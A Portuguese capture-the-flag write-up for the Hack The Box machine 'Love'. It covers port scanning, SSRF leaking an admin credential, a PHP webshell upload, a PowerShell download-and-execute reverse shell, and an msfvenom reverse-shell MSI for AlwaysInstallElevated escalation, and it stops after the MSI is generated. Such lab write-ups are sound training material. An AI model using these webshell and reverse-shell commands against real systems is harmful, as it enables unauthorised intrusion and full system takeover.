Love

#easy #eJPT #eWPT #OSCP

Máquina Windows fácil onde através de um SSRF conseguimos a credencial de um usuário para acessar um painel de administração de uma aplicação "Voting System" vulnerável que nos permitiu obter um RCE e por consequente acesso ao alvo. Por fim, exploramos uma falha de configuração presente na política AlwaysInstallElevated do Windows, de modo que pudemos escalar privilégios obtendo uma shell como NT AUTHORITY\SYSTEM.

Portscan

Comecei executando um ping no endereço IP do alvo para determinar o sistema operacional em uso. O valor TTL mais próximo de 128 indica que há grandes chances do alvo estar executando um sistema operacional Windows.

attacker> ping -c 1 10.10.10.239
PING 10.10.10.239 (10.10.10.239) 56(84) bytes of data.
64 bytes from 10.10.10.239: icmp_seq=1 ttl=127 time=169 ms

--- 10.10.10.239 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.142/169.142/169.142/0.000 ms

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo HTTP/HTTPS, SMB, MySQL e WinRM.

attacker> rustscan -a 10.10.10.239 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in/emailAddress=roy@love.htb/organizationalUnitName=love.htb/localityName=norway
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in/emailAddress=roy@love.htb/organizationalUnitName=love.htb/localityName=norway
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
| SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
| -----BEGIN CERTIFICATE-----
| MIIDozCCAosCFFhDHcnclWJmeuqOK/LQv3XDNEu4MA0GCSqGSIb3DQEBCwUAMIGN
| MQswCQYDVQQGEwJpbjEKMAgGA1UECAwBbTEPMA0GA1UEBwwGbm9yd2F5MRYwFAYD
| VQQKDA1WYWxlbnRpbmVDb3JwMREwDwYDVQQLDAhsb3ZlLmh0YjEZMBcGA1UEAwwQ
| c3RhZ2luZy5sb3ZlLmh0YjEbMBkGCSqGSIb3DQEJARYMcm95QGxvdmUuaHRiMB4X
| DTIxMDExODE0MDAxNloXDTIyMDExODE0MDAxNlowgY0xCzAJBgNVBAYTAmluMQow
| CAYDVQQIDAFtMQ8wDQYDVQQHDAZub3J3YXkxFjAUBgNVBAoMDVZhbGVudGluZUNv
| cnAxETAPBgNVBAsMCGxvdmUuaHRiMRkwFwYDVQQDDBBzdGFnaW5nLmxvdmUuaHRi
| MRswGQYJKoZIhvcNAQkBFgxyb3lAbG92ZS5odGIwggEiMA0GCSqGSIb3DQEBAQUA
| A4IBDwAwggEKAoIBAQDQlH1J/AwbEm2Hnh4Bizch08sUHlHg7vAMGEB14LPq9G20
| PL/6QmYxJOWBPjBWWywNYK3cPIFY8yUmYlLBiVI0piRfaSj7wTLW3GFSPhrpmfz0
| 0zJMKeyBOD0+1K9BxiUQNVyEnihsULZKLmZcF6LhOIhiONEL6mKKr2/mHLgfoR7U
| vM7OmmywdLRgLfXN2Cgpkv7ciEARU0phRq2p1s4W9Hn3XEU8iVqgfFXs/ZNyX3r8
| LtDiQUavwn2s+Hta0mslI0waTmyOsNrE4wgcdcF9kLK/9ttM1ugTJSQAQWbYo5LD
| 2bVw7JidPhX8mELviftIv5W1LguCb3uVb6ipfShxAgMBAAEwDQYJKoZIhvcNAQEL
| BQADggEBANB5x2U0QuQdc9niiW8XtGVqlUZOpmToxstBm4r0Djdqv/Z73I/qys0A
| y7crcy9dRO7M80Dnvj0ReGxoWN/95ZA4GSL8TUfIfXbonrCKFiXOOuS8jCzC9LWE
| nP4jUUlAOJv6uYDajoD3NfbhW8uBvopO+8nywbQdiffatKO35McSl7ukvIK+d7gz
| oool/rMp/fQ40A1nxVHeLPOexyB3YJIMAhm4NexfJ2TKxs10C+lJcuOxt7MhOk0h
| zSPL/pMbMouLTXnIsh4SdJEzEkNnuO69yQoN8XgjM7vHvZQIlzs1R5pk4WIgKHSZ
| 0drwvFE50xML9h2wrGh7L9/CSbhIhO8=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?       syn-ack ttl 127
| mysql-info:
|_  MySQL Error: Host '10.10.16.49' is not allowed to connect to this MariaDB server
| fingerprint-strings:
|   DNSStatusRequestTCP, GenericLines, Help, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, RPCCheck, TerminalServer, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_    Host '10.10.16.49' is not allowed to connect to this MariaDB server
5000/tcp  open  http         syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown      syn-ack ttl 127
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after:  2024-04-10T14:39:19
| MD5:   d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
| SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
| -----BEGIN CERTIFICATE-----
| MIIFBTCCAu2gAwIBAgIQQD+VWjjYeaVAiweoWrOJXjANBgkqhkiG9w0BAQsFADAP
| MQ0wCwYDVQQDDARMT1ZFMB4XDTIxMDQxMTE0MzkxOVoXDTI0MDQxMDE0MzkxOVow
| DzENMAsGA1UEAwwETE9WRTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
| APC54+VMM+g9yynvO9x5UWpskpl8oxYcplv/zck10LeamyoRMCoOb6+lPhokbydf
| 1cj/td1WjOoCkE22w8KBXt+GkBtYp1AuaiQuUWZbSU1TfKLgGTB+jqcn6L8oFdpm
| MMl1rdgW/dDLF4WRSgPd1bwSl1JrgM2ETbQNbuE+pPkUAOwQp9W2/YcSCPAc+a03
| bntUxAyVe/U4xm9GJYTliUGZCc4KY74ZhiIoE9N+qW9wH+THyTcKYFo6acCYK3OT
| NFxj2NVB34YSOaGwoJDfHOdt6q8hQSBk2MLcIlFMYpzyk6guxO6CYucufqPUhux8
| j8foDhPOQr4eg8L2WZq0mF2k0Owt+FPaFCQpq8Cuk3wxkrkHAlwzmxMjZUhO59Z7
| p7cSQt5JtDrSIghP9nePFkz1ARaUE4ifUfWb7ZhX5ZI2sWD7y5ilgK/+EJRUs8Qr
| aiNJQhr2W+Lu8Q8C821LrhQ8srRbV3APlj0jysYzTcerksSmA4L2NYEjdYuIkHNh
| VH7IUwAfyQCKhT9Z4l9TMmu0w84jvFV/e4PYrXe7W3jNquKI8+FvgAtj7crDkX6x
| ouN13d3Z12FsPFZB8S9cFhEnMUT0VcPqx4on6oD1+iD3dkPYi907kHjvHQqc43yZ
| vRSJBNy12LsX9bDyeew1jWBLqhdh0fApp+5LSKyEanENAgMBAAGjXTBbMA4GA1Ud
| DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAVBgNVHREEDjAMggRMT1ZF
| ggRMb3ZlMB0GA1UdDgQWBBQNJyWWYTVg7yDEB8RiCpGkBlLzcjANBgkqhkiG9w0B
| AQsFAAOCAgEAOtD1tPlQAsAozmZxFGc7PiMkJpZbpS31Hb32/aFwTxeN/7VEmTPM
| +FyIo+ZxgL+GD6SGWtpunCGs2Hms3lbSxnPNPbdcaG6whP12Ih/xGuQEbXVq6uY3
| fmCL/zIHthIjDPbgvtrC0xB/1kioMrDdGK1jp1F9q1cd+9P3cTPXgpekTzcFixGF
| BkQTM0ty8FjZnwTYwtAJ7RcxbzhIGi4YlJGIBOi98XvParnR2co2XhR+gBBPhppC
| 0zKscOXtQrOyWymrq1XSEdFhExznQREXkGsUX9Ogw8yTdREt9jdlijjtQGISBlwG
| 807Ru8m6HeO35dhUp3fS1ZOQ94Zlmls8Uw4F0slQ5v44rhhbOziy3fcb63zSvFJ1
| jzk5yEoxER7tMiWrxCniGSI7kIs0ACGEWHbsbjfQuGVvTe2S/yBmUbCSuZPS9r1X
| w3EPapovLDMmx8PBLMXDa75bBE+si/3xS4w8OIepTrk+oajAWPjHSFrt6QRRI9Mv
| L1UEoxV1K7amnTybXb66kpvucZz0pQYVuRypOYLlFuFMC2vj8M/64Hfb5OhFG+6p
| RtFRdYl9s/H+R+Y+fB4o9Tf5vMpYwOCrBfTEGvm4JLBRGXn6f0ODcGqwVYVWyPEo
| 4pv8jZSiNJsmm6gsQXR4fLIPGuNjwmxJmm51Itv0Lb+FQogRk/9I0AI=
|_-----END CERTIFICATE-----
|_ssl-date: 2022-10-24T22:19:36+00:00; +21m35s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?   syn-ack ttl 127
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.92%I=7%D=10/24%Time=635709A0%P=x86_64-pc-linux-gnu%r(N
SF:ULL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLine
SF:s,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck,4A,"
SF:F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20t
SF:o\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatusRequestTCP
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Help,4A,"F\0\0
SF:\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20
SF:connect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe,4A,"F\0\0\x01\x
SF:ffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20connec
SF:t\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,4A,"F\0\0\x01\xf
SF:fj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20connect
SF:\x20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,4A,"F\0\0\x01\xffj\
SF:x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20connect\x2
SF:0to\x20this\x20MariaDB\x20server")%r(LANDesk-RC,4A,"F\0\0\x01\xffj\x04H
SF:ost\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20connect\x20to\
SF:x20this\x20MariaDB\x20server")%r(TerminalServer,4A,"F\0\0\x01\xffj\x04H
SF:ost\x20'10\.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20connect\x20to\
SF:x20this\x20MariaDB\x20server")%r(NCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\
SF:.10\.16\.49'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20
SF:MariaDB\x20server")%r(oracle-tns,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\
SF:.16\.49'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20Mari
SF:aDB\x20server")%r(ms-sql-s,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.4
SF:9'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x2
SF:0server")%r(afp,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x2
SF:0not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r
SF:(giop,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.49'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: 2h06m35s, deviation: 3h30m00s, median: 21m34s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 20798/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 46453/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 54840/udp): CLEAN (Timeout)
|   Check 4 (port 21885/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2022-10-24T22:19:22
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-10-24T15:19:17-07:00

Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.

attacker> xsltproc -o nmap.html /opt/tools/nmap-bootstrap/nmap-bootstrap.xsl nmap.xml

A varredura também retornou alguns nomes de domínio que adicionei ao meu arquivo /etc/hosts.

attacker> grep "love.htb" /etc/hosts
10.10.10.239    love.htb staging.love.htb www.love.htb

HTTP/HTTPs (80, 443, 5000) Enumeration

Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web na porta 80. A ferramenta retornou informações como o software do servidor web (Apache), versão (2.4.46), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. Nada diferente do que obtemos com nmap anteriormente.

attacker> whatweb http://love.htb -v | tee whatweb80.txt
WhatWeb report for http://love.htb
Status    : 200 OK
Title     : Voting System using PHP
IP        : 10.10.10.239
Country   : RESERVED, ZZ

Summary   : Apache[2.4.46], Bootstrap, Cookies[PHPSESSID], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], JQuery, OpenSSL[1.1.1j], PasswordField[password], PHP[7.3.27], Script, X-Powered-By[PHP/7.3.27], X-UA-Compatible[IE=edge]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Date: Mon, 24 Oct 2022 22:25:39 GMT
        Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
        X-Powered-By: PHP/7.3.27
        Set-Cookie: PHPSESSID=k36nsc1k6pfnojnt0fclcvv6eq; path=/
        Expires: Thu, 19 Nov 1981 08:52:00 GMT
        Cache-Control: no-store, no-cache, must-revalidate
        Pragma: no-cache
        Content-Length: 4388
        Connection: close
        Content-Type: text/html; charset=UTF-8

Ao abrir o servidor web no navegador, vemos um painel de login no que aparenta ser um sistema de votação.

Depois de tentativas fracassadas de bypass de login e nada suspeito presente no código fonte da página, passamos à etapa de descoberta de conteúdo.

Content Discovery

Nesta fase, tentei descobrir conteúdo e diretórios ocultos no servidor web usando a ferramenta ffuf. Essa técnica pode ser útil para descobrir conteúdo oculto em um servidor web que pode não ser facilmente descoberto por meio de testes manuais ou outras técnicas.

Directory Fuzzing

Nesse caso, isso me permitiu descobrir alguns diretórios, chamando atenção o diretório "admin", que posso investigar mais a fundo na próxima etapa.

attacker> ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://love.htb/FUZZ -t 200 -of html -o fuzzCommon.html

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://love.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Output file      : fuzzCommon.txt
 :: File format      : html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

ADMIN                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 325ms]
.hta                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 340ms]
Admin                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 332ms]
.htaccess               [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 350ms]
.htpasswd               [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 350ms]
Images                  [Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 226ms]
admin                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 195ms]
aux                     [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 178ms]
cgi-bin/                [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 195ms]
com1                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 182ms]
com3                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 179ms]
com4                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 179ms]
com2                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 187ms]
con                     [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 181ms]
dist                    [Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 188ms]
images                  [Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 179ms]
includes                [Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 181ms]
index.php               [Status: 200, Size: 4388, Words: 654, Lines: 126, Duration: 191ms]
licenses                [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 188ms]
lpt1                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 197ms]
lpt2                    [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 198ms]
nul                     [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 183ms]
phpmyadmin              [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 246ms]
plugins                 [Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 248ms]
prn                     [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 398ms]
server-info             [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 177ms]
server-status           [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 187ms]
webalizer               [Status: 403, Size: 298, Words: 22, Lines: 10, Duration: 186ms]

Ao acessar este diretório, vemos outro painel de login, aparentemente para administradores, onde agora se pede um "Username" em vez de um "Voter's ID".

A princípio não há nada chamativo neste site, sendo preciso que façamos algum bruteforce, bypass ou descoberta de conteúdo para obter mais informação, mas por enquanto, como também temos outras portas web expostas, vamos enumerá-las, se necessário, voltamos a este site.

As portas 443 e 5000 também têm serviço web, mas não temos permissão de acesso para vê-los.

Ainda em relação ao servidor web, temos alguns subdomínios a enumerar. Ao acessar o domínio staging.love.htb, temos um scanner de arquivos.

Na aba "Demo" temos um campo onde podemos inserir uma URL a ser escaneada.

Como teste, podemos criar em nossa máquina atacante um arquivo test.txt e compartilhá-lo através de um servidor HTTP com python. Com isso, passamos este nosso servidor para a aplicação escanear e entendermos como ela está funcionando.

attacker> echo "Bruno Test" > test.txt

attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Assim, quando passamos a URL do nosso servidor para a aplicação e clicamos em "Scan file", a aplicação interpreta nosso arquivo e traz seu conteúdo na saída.

Como vimos com nmap e whatweb, a aplicação interpreta PHP, então podemos criar um arquivo test.php contendo <?php system("whoami"); ?> como PoC para ver se o comando whoami é interpretado, porém isto não acontece.

Até agora, testamos a aplicação apenas com arquivos que estão na nossa máquina atacante, no entanto, também é válido testar se podemos escanear quaisquer arquivos que estejam dentro do alvo.

SSRF

Para fazer isso, podemos passar para a aplicação o IP da interface loopback do alvo. Com isso vemos que a saída nos traz o mesmo conteúdo presente no servidor web na porta 80.

Ou seja, esta entrada é vulnerável à "Server-side Request Forgery", onde podemos forçar o servidor a realizar solicitações internas não autorizadas, geralmente a fim de coletar informações sensíveis.

Internal Port Discovery

Com o rustscan no início de nossa enumeração, escaneamos as portas do alvo que estão expostas externamente, com uma vulnerabilidade SSRF podemos descobrir as portas da rede interna do alvo, permitindo-nos explorar outras vulnerabilidades e aumentar o escopo do ataque.

Anteriormente em nossa enumeração haviam 2 portas expostas (443 e 5000) que nós, como host externo, não tínhamos permissão para acessar. Agora, com um SSRF, podemos forjar nossa requisição e tentar visualizar estas portas, pois a aplicação interpretará que um host interno do alvo que estará fazendo uma requisição para estas portas, permitindo-nos assim visualizá-las.

E de fato funciona, ao passar na entrada da aplicação a URL da interface de loopback do alvo com a porta 5000, nos é devolvido um painel de controle de senhas. Nele ainda há uma credencial para o painel de administração que tínhamos encontrado na etapa de directory fuzzing.

Assim, podemos salvar esta credencial e acessar o painel de administração na porta 80.

attacker> batcat -l md creds.md
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: creds.md
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ | user  | pass                | found on                                                              | works on               |
   2   │ | ----- | ------------------- | --------------------------------------------------------------------- | ---------------------- |
   3   │ | admin | @LoveIsInTheAir!!!! | http://staging.love.htb/beta.php<br />SSRF: http://127.0.0.1:5000/    | http://love.htb/admin/ |
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

RCE

Por curiosidade, buscando o termo "voting system" no searchsploit, vemos que é uma aplicação que tem vulnerabilidades listadas. Chama atenção porque há um script apontando para um RCE autenticado.

attacker> searchsploit voting system
---------------------------------------------------------------------------------------------------------- ----------------------------
 Exploit Title                                                                                            |  Path
---------------------------------------------------------------------------------------------------------- ----------------------------
Online Voting System - Authentication Bypass                                                              | php/webapps/43967.py
Online Voting System 1.0 - Authentication Bypass (SQLi)                                                   | php/webapps/50075.txt
Online Voting System 1.0 - Remote Code Execution (Authenticated)                                          | php/webapps/50076.txt
Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)                     | php/webapps/50088.py
Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting                          | multiple/webapps/49159.txt
Voting System 1.0 - Authentication Bypass (SQLI)                                                          | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)                                 | php/webapps/49445.py  ⭐
Voting System 1.0 - Remote Code Execution (Unauthenticated)                                               | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection)                                       | php/webapps/49817.txt
WordPress Plugin Poll_ Survey_ Questionnaire and Voting system 1.5.2 - 'date_answers' Blind SQL Injection | php/webapps/50052.txt
---------------------------------------------------------------------------------------------------------- ----------------------------

Ao ler o exploit com o comando searchsploit -x php/webapps/50076.txt, podemos ver como ele funciona, então vamos fazer o processo manual. A idéia é que podemos fazer upload de uma webshell PHP e assim executar comandos remotamente no alvo.

Para isso estarei usando o arquivo PHP malicioso abaixo:

attacker> cat brunocmd.php
<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Para fazer o upload temos que ir para a rota /admin/voters.php, clicar em "+New", colocar qualquer nome e senha, e na foto colocar a webshell PHP. Finalmente, clique em "Save".

Depois de salvar, a webshell deve aparecer na rota /images.

Assim, com o parâmetro ?cmd=, podemos executar comandos no alvo.

Gaining Access

Como nosso alvo é um Windows, obteremos uma reverse shell usando o script powerhell "Invoke-PowerShellTcp.ps1" do Nishang. Para isso, vamos copiá-lo para o nome PS.ps1 e adicionar a linha Invoke-PowerShellTcp -Reverse -IPAddress -Port 443 ao final do script, assim, quando enviarmos este script para o alvo, ele já será interpretado e nos enviará uma reverse shell.

attacker> cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./PS.ps1
attacker> tail PS.ps1
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.49 -Port 443

Agora na máquina atacante, basta se colocar em escuta com netcat, e iniciar um servidor HTTP com python que estará compartilhando o script PS.ps1.

Com isto, podemos voltar à webshell e executar a instrução http://love.htb/images/brunocmd.php?cmd=powershell%20IEX(New-Object%20Net.WebClient).DownloadString(%27http:///PS.ps1%27) para obter a reverse shell.

Assim, iremos ganhar acesso ao alvo como usuário phoebe.

attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.10.239] 62509
Windows PowerShell running as user Phoebe on LOVE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami
love\phoebe
PS C:\xampp\htdocs\omrs\images>

Uma vez logado, naveguei até o Desktop do usuário phoebe e encontrei a flag user.txt.

PS C:\Users\Phoebe\Desktop> type user.txt
812878ad4d5b0c80c16ef372ac751bcb

Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.

Privilege Escalation

Para iniciar a fase de internal discovery, transferi o script de enumeração WinPEAS para o alvo.

attacker> cp /usr/share/peass/winpeas/winPEASany.exe .

attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
PS C:\xampp\htdocs\omrs\images> certutil.exe -f -urlcache -split 'http://10.10.16.49/winPEASany.exe'
****  Online  ****
  000000  ...
  1e0c00
CertUtil: -URLCache command completed successfully.

Uma vez transferido, basta executar o WinPEAS.

PS C:\xampp\htdocs\omrs\images> .\winPEASany.exe

Como resultado da enumeração, uma das coisas que o WinPEAS encontrou foi a política AlwaysInstallElevated com os registros HKLM e HKCU tendo o valor 1 definido. Lendo a referência que o próprio WinPEAS traz para o Hacktricks, vemos que com isso podemos potencialmente executar arquivos .msi no alvo como NT AUTHORITY\SYSTEM.

...
???????????? Checking AlwaysInstallElevated
?  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!
...

Escalation via AlwaysInstallElevated

Sendo assim, com a ajuda da ferramenta msfvenom, podemos criar um arquivo .msi com instruções maliciosas para nos enviar uma reverse shell, e como o usuário quem executará este arquivo é o NT AUTHORITY\SYSTEM, estaremos recebendo uma shell privilegiada.

Primeiro, vamos criar o arquivo brunorev.msi com a carga útil maliciosa.

attacker> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.49 LPORT=443 --platform windows -a x64 -f msi -o brunorev.msi
No encoder specified, outputting raw payload
Payload size: 460 bytes
